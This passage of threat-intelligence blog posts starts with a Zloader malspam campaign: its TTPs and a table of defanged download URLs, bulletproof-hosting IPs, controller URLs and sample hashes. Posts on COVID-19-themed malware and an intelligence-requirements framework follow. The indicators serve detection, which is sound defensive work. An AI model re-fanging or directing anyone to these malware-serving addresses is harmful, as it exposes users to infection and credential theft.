2020-03-052/ 71hxxp://pjtcdnrd[.]pw/fsgbfgbfsg43
2020-03-050/ 71hxxps://pjtcdnrd[.]pw/fsgbfgbfsg43
2020-03-042/ 71hxxp://wrjmkdod[.]xyz/SDFwef2fvbbe

The pattern of behavior is becoming clear. Most of these domains can be linked to malicious Excel documents apparently created by the same malicious document builder. Based on the research, we can attribute some TTPs to this threat actor. 

Tactics, techniques and procedures

The threat actor proved to have access to many resources in the criminal underground and is comfortable with a range of tools to run the operation. The following TTPs were observed:

  • Hiding infrastructure behind BPH from the known vendor yalishanda. See Brian Krebs’ blog post on yalishanda here.
  • Using a malicious Excel document builder to craft documents for malspam campaigns.
  • Using KeitaroTDS for routing traffic and controlling campaign infrastructure. 
  • Using Zloader banking trojan for establishing control on victim machines and staging additional payloads such as hidden virtual network computing (HVNC) and launching web-injects. 
  • Using legitimate secure sockets layer (SSL) certificates signed by Let’s Encrypt. 

Indicators of compromise

These can be downloaded in CSV format here.

ContextIndicator
Download link from malicious Excel documenthxxps://wgyafqtc[.]online/fgwg24g24g
Download link from malicious Excel documenthxxps://tdvomds[.]pw/fgwg24g24g
Download link from malicious Excel documenthxxp://tdvomds[.]pw/12341324rfefv
Download link from malicious Excel documenthxxps://tdvomds[.]pw/12341324rfefv
Download link from malicious Excel documenthxxps://hxzfvomd[.]buzz/asf2f1ff
Download link from malicious Excel documenthxxp://hxzfvomd[.]buzz/asf2f1ff
Download link from malicious Excel documenthxxp://pjtcdnrd[.]pw/fsgbfgbfsg43
Download link from malicious Excel documenthxxps://pjtcdnrd[.]pw/fsgbfgbfsg43
Download link from malicious Excel documenthxxp://wrjmkdod[.]xyz/SDFwef2fvbbe
Yalishanda bulletproof hosting IP8.208.28[.]247
Yalishanda bulletproof hosting IP161.117.177[.]248
Zloader controller URLhxxps://aquolepp[.]pw/milagrecf.php
Zloader controller URLhxxps://barbeyo[.]xyz/milagrecf.php
Zloader controller URLhxxps://bhajkqmd[.]xyz/milagrecf.php
Zloader controller URLhxxps://botiq[.]xyz/milagrecf.php
Zloader controller URLhxxps://buhjike[.]host/milagrecf.php
Zloader controller URLhxxps://bwambztl[.]xyz/milagrecf.php
Zloader controller URLhxxps://dhteijwrb[.]host/milagrecf.php
Zloader controller URLhxxps://rizoqur[.]pw/milagrecf.php
Zloader controller URLhxxps://siloban[.]pw/milagrecf.php
Zloader controller URLhxxps://wgyvjbse[.]pw/milagrecf.php
Malicious Excel document samplecfe139d639d461fe731427e79bd7048849080d4d7d906d10fae764eb056f1f0b
Malicious Excel document samplef1ced9008d9de4109844d99fc924b6e3e4a4062ed37b52ce4b5baed430d004cf
Malicious Excel document sample4a5d8cde14f9e8c4f1a0cf514ca084528631d6caa8aa5282a4bf8f58dbf54f33
Malicious Excel document sample9e5edda543358b7ead2614ff75e23d2c271cb917a89003fa8733d9d730950507
Malicious Excel document sample30175739414fa301617ed6f0234992f1b3bc67a8547185cd332ad42c5a170486
Malicious Excel document sample34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa
Zloader malware sample8021084f2d006101e0522f62de9c1e22ec55a6639e792dc7eff2826c013597a9
Zloader malware samplee81d729e1b810215940eb96e1de3e9500f522e9ba16bca2f9d49113fb462bb4d
Zloader malware sample0889271c721391d625a19391275f0e6bf244a5548a1a6eb673c6e16a48e960e1
Zloader malware sample3703d42ee0a6c4115295f14f3980cf205f7e6fb77ed0301c845431728015c812
Zloader malware sample3f2cf070e3740514c4e0dd431392a6727250a9ad3425c5b25ffad2d9d3b74716
Zloader malware sample66f49a261b6086dfdd1c3e2a21f7cb746aa35707490cbd64693d66383ba54c64
Zloader malware sample776fee630d6f89a7a01c5903de93fbd9f12f5cba8df148330a8c6f0cd267890b
Zloader malware sample945e3e4f52d30e07a281b20f96bf7150234c18aa4373c683dee74a194b57dcc0
Zloader malware samplea347f8b4a17dffa05a4fe9602cf99302201220e7000b5826798dd3d8db7b2b7f
Zloader malware sampleac60a7471ee5297b9cefb5b3d1c1dbec4b7bf328c8b8649529202a1381acb2a5

Malicious actors leverage Coronavirus Disease 2019 fear to increase business

By the Intel 471 Intelligence Analysis team.

Our lives continue to be inundated with emails, mobile applications and websites that promise to deliver critical information related to the Coronavirus Disease 2019 (COVID)-19 pandemic threatening millions of people across the globe. Fear surrounding the disease has been exploited by attackers with adverse intentions who have launched campaigns including business email compromise (BEC), phishing and malicious domains. These domains can be used to push disinformation, malware, ransomware, steal passwords or personal information and by possible nation-state hackers to conduct reconnaissance. For example, the cybersecurity digital magazine SC Media reported an Android application was available at coronavirusapp[.]site. The app later was dubbed the CovidLock Android ransomware and claimed to provide access to real-time virus tracking. However, the app instead was found to be disguised ransomware that locked victims’ phones using a screen-lock attack.

Several open source reports claimed similar phishing campaigns leveraged the recent COVID-19 outbreak and widespread fear of the virus for personal gain. These phishing campaigns were used in attacks targeting individuals in the U.K and U.S, via highly enticing links in emails from attackers that impersonated departments of the U.S. government, health officials, university personnel and the World Health Organization (WHO) warning of new infections reported in the local area and providing safety measures.

Themed malware campaigns arise

Intel 471 observed similar instances of phishing campaigns advertised in the underground. On Feb. 22, 2020, a newcomer to the Russian-speaking underground offered to sell a “new exploit” and coronavirus “phishing method” that leveraged the COVID-19 outbreak as bait. The actor stated the exploit would load a functional online map of the COVID-19 infected areas with additional data. The map was promoted as interactive, resizable and allegedly contained real-time data from the WHO and other sources. The actor assumed users would mistake the malware as an actual map, open and forward it on to friends and naturally increase the malware’s infection rate. According to the malware description provided by the actor, the loader was fully undetectable (FUD) and could bypass Windows Defender anti-virus software. The actor also claimed the malware supported all Windows versions from Windows XP and newer, although it required a version of Java Runtime Environment (JRE) software be installed on the system. The malware with the actor’s code-signing certificate was priced at US $700 and an unsigned malware sample was priced at US $200.

An example of a Coronavirus Disease 2019 (COVID)-19 themed Hancitor malware drop in a screenshot from the Twitter account @malware_traffic March 16, 2020.

An example of a Coronavirus Disease 2019 (COVID)-19 themed Hancitor malware drop in a screenshot from the Twitter account @malware_traffic March 16, 2020.

An example of malicious command and control (C2) domain IP addresses deploying the DanaBot banking trojan from Coronavirus Disease 2019 (COVID)-19 themed domains in a screenshot from the twitter account @James_inthe_box March 16, 2020. 

Separately, several operators of notable malware groups utilized COVID-19 themed attacks, including AZORult, DanaBot, Emotet, Hancitor and Smokeloader. Based on information provided in open sources, the Intel 471 malware intelligence team independently observed known hashed malicious files downloaded from known malicious domains that used a command issued by a controller. These events linked the Hancitor and Smokeloader campaigns based on files dropped and the command and control (C2) infrastructure. Additionally, we observed AZORult utilized malignant COVID-19 themed C2 infrastructure to exfiltrate victim data. 

An example of a process graph related to the malicious corona-virus-map[.]net domain in a screenshot from the twitter account @malwrhunterteam March 16, 2020.

The advantageous methods employed by threat actors substantiates the increased importance of being highly suspicious of communications not verified by official sources which appear to provide information or goods related to the ongoing pandemic.

GIRs
1.1.1 Ransomware malware
1.1.2 Mobile malware
1.1.3 Remote access trojan (RAT) malware
1.1.4 Banking trojan malware
1.2.5 Spamming services
4.4.1 Phishing
6.2.4 Europe
6.2.7 North America

Sources

[1] 16March2020 SC Media article: Password found to rescue victims of malicious COVID-19 tracker app

[2] 01Feb2020 Bleeping Computer article: Coronavirus Phishing Attacks Are Actively Targeting the US

[3] 16March2020 ARS Technica article: The Internet is drowning in COVID-19-related malware and phishing scams

[4] 16March2020 Twitter post: @malware_traffic

[5] 31Jan2020 TrendMicro blog: Emotet Uses Coronavirus Scare in Latest Campaign, Targets Japan

[6] 16March2020 Twitter post: @James_inthe_box

[7] 16March2020 Twitter post: @malwrhunterteam

Introducing Intel 471’s Cybercrime Underground General Intelligence Requirements (CU-GIR): a common framework to address a common challenge

By Michael DeBolt, Vice President of Intelligence.

In the last blog, I outlined three key benefits of a requirements-driven intelligence program. We also looked at three challenges that are preventing many programs from moving from concept to practice. 

If you didn’t read it, here’s the TL;DR version:


I promised also to share details of how our approach at Intel 471 has helped to empower intelligence teams to tackle these challenges effectively, in the hope that this will assist others to navigate the same journey.

With this in mind, let’s pose the question again… “How to build a requirements-driven intelligence program?”

Adding new tires to existing wheels

As we thought about addressing this challenge at Intel 471, we sought inspiration from existing and proven frameworks and processes.

United States Marine Corps (USMC) “GIR” framework

As a framework, the USMC Intelligence Activity has long used “Generalized Intelligence Requirements (or “GIRs”) to assist human intelligence (HUMINT) collectors in the physical areas they operate. Collectors use a set of prescribed GIRs as a baseline tool to spot and assess collection opportunities against common observables they might encounter in the field. 

U.S. Marine Corps GIRs are organized into handbooks for each type of environment Marines typically encounter. For example the UGIRH (PDF) covers commonly asked intelligence requirements when operating in an urban environment. There also is a mountain GIR, and so on. 

Could we create a GIR-like framework based on the cybercrime underground?

United States Intelligence Community prioritization process

A framework is great, but without a solid process to apply it against, it becomes useless. Enter the U.S. Intelligence Community’s process for prioritizing requirements across multiple stakeholders. This is a system of collating, weighting, scoring and prioritizing intelligence requirements to produce guidance for collectors and analysts in the field. Every requirement is mapped directly to the stakeholder asking for it. In short, everyone knows what success looks like and how exactly to achieve it. 

Could we implement a similar process against a GIR-like framework?

Introducing: Cybercrime Underground General Intelligence Requirements (CU-GIR)

Intel 471’s Cybercrime Underground General Intelligence Requirements (or simply “GIRs”) is a compilation of frequently asked questions or topics based on common observables in the cybercrime underground. Roughly 180 GIRs are organized under a nested tree structure under the following six categories:


GIRs are organization-agnostic 

The GIR framework allows for consistent and standing coverage of commonly observed and generalized threats to industry, sector, supply chain and geographic areas of interest, taking advantage of the highly “organized” characteristic of the cybercrime underground, which we outlined in a previous blog

Conversely, organization-specific intelligence requirements (or “OSIRs”) are custom requirements based on needs unique to an organization or stakeholder. This includes specific infrastructure, technologies, brands, services, and more. We will cover OSIRs in a later blog.

GIRs are mapped to intelligence consumers and use cases

Each GIR maps to typical stakeholders and use cases where cyber threat intelligence (CTI) teams need to produce intelligence. Essentially, GIRs are ready-made intelligence requirements that can be used to bootstrap discussions with your stakeholders.

GIRs are not simple tags

Taking it a step further, each GIR includes a definition and specific essential elements of information (EEIs) that need to be addressed to fulfill or satisfy a particular GIR. As an analyst, these are the questions I will seek to address in my report or deliverable to satisfy a particular stakeholder use case. When content is marked or tagged with a GIR, it means that it fills a gap in knowledge.


For example, GIR 3.1 contains three child GIR entries for the common IaaS types along with the relevant EEIs an analyst needs to address in an intelligence deliverable that satisfies a stakeholder’s use case.

GIRs allow for a range in specificity

GIRs are situated in a nested tree structure to allow for a range in specificity and flexibility in its utility. For example, by addressing the EEIs of a specific child GIR entry, an analyst inherently satisfies the corresponding parent entry. 

The graduation of these GIRs across a range of depths, allows organizations to refine their requirements over a period of time to focus on any areas of concern and to address both their specific, granular requirements as well as supporting their broader strategic needs.

How does Intel 471 use the GIR framework?

At Intel 471, CU-GIRs underpin everything we do. GIRs are used as our primary baseline tool to collect, classify and report frequently observed information found in the underground.

Prioritized and focused collection


Customers use our handbook to select and rank subsets of GIRs that are aligned to their stakeholders and use cases. These become client Priority Intelligence Requirements (PIRs). Intel 471 weighs and scores all PIRs and uses the resulting list to prioritize and steer standing collection and production efforts. Using this approach, we also gain insight into priority requirements across industry verticals.

Structured intelligence content and automated routing

Each Intel 471 deliverable is tagged with the applicable GIR or GIRs and automatically highlighted to clients who have matching PIRs.

Measured intelligence production

Synchronizing client PIRs to GIRs gives us a reliable method to measure the value of our intel production against our client needs over time. And, in turn, it gives our clients the ability to objectively measure their support to their own internal stakeholders.

Can other intelligence teams use the GIR framework?

Hopefully it’s clear by now that we want to share the CU-GIR framework with the industry to help empower intelligence teams. We created a handbook called the CU-GIRH, similar to the U.S. Marine Corps UGIRH mentioned previously in this blog, which serves as a baseline tool to assist organizing, prioritizing, producing and measuring production of cybercrime intelligence. Our hope is that it will help for you in whatever stage your CTI program, whether you are bootstrapping a new team or revisiting existing processes.

Still work to be done… and we want your input

At Intel 471, we have seen 1 1/2 years of real-world success by proving the concept of CU-GIRs both internally and with our customers. But this is only the beginning. Like any newly proposed framework or idea, the GIRs is a work in progress. We are eager to see where it goes next.

Currently, a subset of the CU-GIRs are mapped to the top-level of Mitre’s ATT&CK framework. We also are in the early stages of interlacing the CU-GIR framework with FAIR to help inform risk-based decisions and action. We also envision the creation of separate GIR frameworks for coverage of other environments where intelligence collection and production is needed, such as physical security, executive protection, and more. These projects are ongoing and will require feedback and input from the community to get them right.

Ultimately, we are sharing this framework because it provides a practical approach to implement a requirements-driven program, which is a challenge many intelligence teams experience across industry verticals and within both vendor and consumer spaces. Share your thoughts and ideas on this important subject and collaborate with us to further refine the next iteration of the GIR framework. Will GIRs solve all the problems related to intelligence collection and production? No it won’t. But we believe it can help a great deal!

Intelligence requirements: Moving from concept to practice

By Michael DeBolt, VP of Intelligence of Intel 471.

Our industry talks a lot about intelligence requirements. Yet I’ve noticed over the years a lack of practical advice being shared about how to actually work with or implement intelligence requirements as a fundamental component of a cyber threat intelligence (CTI) program. In a future blog, I’ll share how we do things at Intel 471, hopefully to help address this gap.

But for now, let’s tackle the disconnect between the concept and practice of intelligence requirements by looking at a few key benefits and challenges.

I’ll go on a limb and predict that most of the CTI industry is totally on board with the concept of intelligence requirements. There is a ton of really great material out there that covers it extremely well (such as this, this, and, of course, that). Thanks to these resources and others, in the last five years our CTI industry has evolved to appreciate the need for intelligence requirements as fundamental to what we do. This is an exciting and positive step that should be celebrated. Now more than ever before, we understand our overall success as intelligence professionals is measured on our ability to  satisfy the requirements of our stakeholders consistently and ultimately to inform their decisions and actions that protect our organization.

We know intelligence requirements are important. Here are three key reasons why:

Benefit 1: Maximized resources 

Most of us operate in an environment where resources and funding are scarce. A requirements-driven program maximizes our limited time, money and effort by trimming the fat. When done correctly, our human capital and data sources are synchronized, focused and aligned to meet the requirements of our stakeholders. We know exactly what we need to collect, produce, and deliver, and who needs it.

A simplified collection plan showing synchronization between deliverables, sources, stakeholders and intelligence requirements.

Benefit 2: Measured success criteria

There is no ambiguity in what we collect or produce. Each data source, report and deliverable is aimed at satisfying Priority Intelligence Requirements (PIRs) agreed upon by you and your stakeholders. Requirements are frequently revisited with stakeholders to ensure alignment, and any deliverable that regularly falls outside the scope of those requirements requires heavy scrutiny, gap analysis, and justification.

Benefit 3: Demonstrated CTI return on investment

An intelligence program grounded in stakeholder requirements enables objective measurement of intelligence production and impact over time. This helps confidently answer the inevitable question from senior management, “how does our CTI capability provide value to the organization?” 

So the concept and justification for requirements is crystal clear and firm — intelligence requirements are the lifeblood of any CTI program

Which brings us to the question at hand: “How to build a requirements-driven intelligence program?” We appreciate intelligence requirements, but historically, migrating from concept to practice has been challenging due to a number of reasons, namely:

Challenge 1: Prioritization nightmare

Requirements and expectations differ greatly across the various stakeholders supported by our intelligence teams. Many have vastly different and sometimes overlapping requirements and expectations. Others are opaque, confusing or too broad to align specific resources. These factors often create daunting scenarios for intelligence teams to prioritize effort aligned to stakeholder needs, resulting in confusion or a lack of focus with what an intelligence function ultimately collects and produces. A proper requirements-driven program aligns stakeholder priorities to intelligence production.

Challenge 2: “Whack-a-mole” game

Intelligence teams often are inundated with ad-hoc, “block and tackle” requests from stakeholders, leaving them out of position not only to respond and react in a timely and accurate manner to unfolding events, but also to paint situational awareness to key decision makers in advance of ever-evolving methods of those that seek to harm the organization. Without a requirements-driven program, intelligence teams are destined to be reactive and short sighted and continuously will struggle to provide intelligence that informs proactive decision-making, such as threat assessments across industry, supply chain and geographic areas of interest.

Challenge 3: Same goal, multiple languages

While the concept and benefits of a requirements-driven intelligence program are clear, putting it into practice can be very difficult. Fundamentally, achieving this is a team sport that requires synchronization across at least four components — the CTI team, executive leadership, stakeholders and vendors. Yet, each operates differently, speaks their own language and uses various definitions to achieve their end goals. To help bridge this gap, our CTI industry needs a commonly understood and accepted intelligence requirements framework for defining, managing, processing, tracking and producing intelligence aligned to our stakeholders’ needs.

In the next blog, I will detail our practical approach to meet these challenges using our “General Intelligence Requirements” (or “GIR”) framework.